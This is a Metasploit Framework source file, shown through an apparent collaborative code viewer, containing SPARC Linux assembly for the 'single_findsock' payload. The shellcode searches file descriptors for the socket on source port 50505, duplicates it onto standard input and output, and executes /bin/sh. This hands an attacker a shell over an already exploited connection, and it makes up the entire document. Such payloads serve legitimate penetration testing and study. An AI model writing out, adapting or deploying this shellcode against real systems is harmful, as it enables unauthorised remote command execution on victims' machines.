Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
#
3
#        Name: single_findsock
4
#   Platforms: Linux
5
#     Authors: vlad902 <vlad902 [at] gmail.com>
6
#     Version: $Revision: 1991 $
7
#     License:
8
#
9
#        This file is part of the Metasploit Exploit Framework
10
#        and is subject to the same licenses and copyrights as
11
#        the rest of this package.
12
#
13
# Description:
14
#
15
#        Search file descriptors based on source port.
16
#
17
##
18

19
.globl main
20

21
main:
22
# l6 is set here with the port
23
	set	50505, %l6
24
	andn	%sp, 7, %sp
25

26
	xor	%o2, %o2, %o0
27
	st	%o0, [ %sp - 0x20 ]
28

29
getpeername_loop:
30
	add	%o0, 1, %o0
31
	and	%o0, 4095, %o0
32

33
	mov	0x10, %o3
34
	sub	%sp, 0x04, %o2
35
	sub	%sp, 0x20, %o1
36

37
	std	%o0, [ %sp - 0x10 ]
38
	std	%o2, [ %sp - 0x08 ]
39

40
	sub	%sp, 0x10, %o1
41
	mov	7, %o0
42
	mov	0xce, %g1
43
	ta	0x10
44

45
	mov	3, %o1
46
	lduh	[ %sp - 0x1e ], %l5
47
	xorcc	%l5, %l6, %i5
48
	bnz	getpeername_loop
49
dup2_loop:
50
	ld	[ %sp - 0x10 ], %o0
51

52
	subcc	%o1, 1, %o1
53
	mov	0x5a, %g1
54
	ta	0x10
55

56
	bnz	dup2_loop
57

58
	xor	%o3, %o3, %o3
59
	set	0x2f62696e, %l0
60
	set	0x2f736800, %l1
61
	sub	%sp, 0x10, %o0
62
	sub	%sp, 0x08, %o1
63
	std	%l0, [ %sp - 0x10 ]
64
	st	%o0, [ %sp - 0x08 ]
65
	st	%g0, [ %sp - 0x04 ]
66
	mov	0x3b, %g1
67
	ta	0x08
68

69